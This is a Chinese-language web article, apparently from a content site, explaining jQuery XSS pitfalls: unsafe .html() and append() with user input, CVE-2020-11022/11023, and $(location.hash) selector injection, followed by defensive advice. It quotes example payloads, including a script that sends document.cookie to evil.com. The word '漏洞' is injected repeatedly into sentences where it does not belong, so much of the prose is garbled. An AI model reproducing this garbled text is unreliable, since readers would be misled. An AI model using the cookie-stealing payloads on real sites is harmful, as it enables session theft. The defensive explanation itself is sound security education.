当前位置:首页 > 知识

jquery 存在 xss 漏洞

jQuery 的漏洞 XSS 漏洞,说白了就是漏洞开发者太信任它了。别急着反驳,漏洞先看个真实例子。漏洞

某个后台管理系统,漏洞用 jQuery 的漏洞 $() 直接拼接用户输入的 HTML。攻击者在昵称栏提交了 <img src=x onerror=alert(document.cookie)>,漏洞系统把这段字符串塞进 $("#userInfo").html(input)。漏洞结果呢?漏洞每个管理员打开页面,cookie 就被偷走。漏洞这漏洞不是漏洞 jQuery 的锅,是漏洞 .html() 方法根本不转义,它把输入当 HTML 解析,漏洞而不是漏洞纯文本。

但 jQuery 自己也有过真漏洞。漏洞CVE-2020-11022 和 11023,影响 3.5.0 之前的版本。问题出在 $.htmlPrefilter() 和 .html() 对某些标签的处理上。比如 <option> 标签里的 HTML 会被错误解析,攻击者能绕过过滤。还有个经典场景:$(location.hash) 直接用在选择器里,如果 hash 值是 #<img src=x onerror=...>,jQuery 会把它当选择器执行,触发 XSS。修复方式很简单,升级到 3.5.0+,或者别用 $() 直接处理不可信输入。

说实话,现在写前端的人,十个里有八个还在用 $(el).html(userContent)。框架都 Vue/React 了,但老项目里 jQuery 代码像牛皮癣一样顽固。我见过一个电商后台,搜索框的关键词直接拼进 $("#list").append("<li>" + keyword + "</li>")。攻击者搜 <script>fetch('//evil.com?c='+document.cookie)</script>,结果整个后台沦陷。这不是 jQuery 的漏洞,是懒。但 jQuery 的 API 设计确实容易诱导人犯错——.text() 和 .html() 就差一个字母,前者安全后者危险。

还有个隐蔽点:jQuery 1.x 的老版本,对 data-* 属性处理有坑。比如 $(el).data("foo") 会自动尝试把值转成对象,如果值是 { "__proto__": { "polluted": true}},在某些场景下能污染原型链,间接导致 XSS。这属于高级利用了,但确实存在。修复?升级到 3.x,或者干脆别用 .data() 存储用户可控内容。

我的建议很直接:能用原生 textContent 就别用 .html()。如果非要用,先写个白名单过滤器,把 <script>、on* 事件、javascript: 协议全干掉。还有,别用 $(window.location.hash) 这种写法,改成 document.getElementById() 或者 querySelector。jQuery 不是不能用,是得知道它哪里会咬人。

最后说个扎心的事实:很多漏洞报告都是安全研究员挖出来的,但真正被攻击的,往往是那些从不更新依赖的项目。你去看 GitHub 上老项目,package.json 里 jQuery 还锁在 1.7.2。问就是“能跑就行”。直到某天被黑,才慌慌张张去升级。那时候,早晚了。

分享到: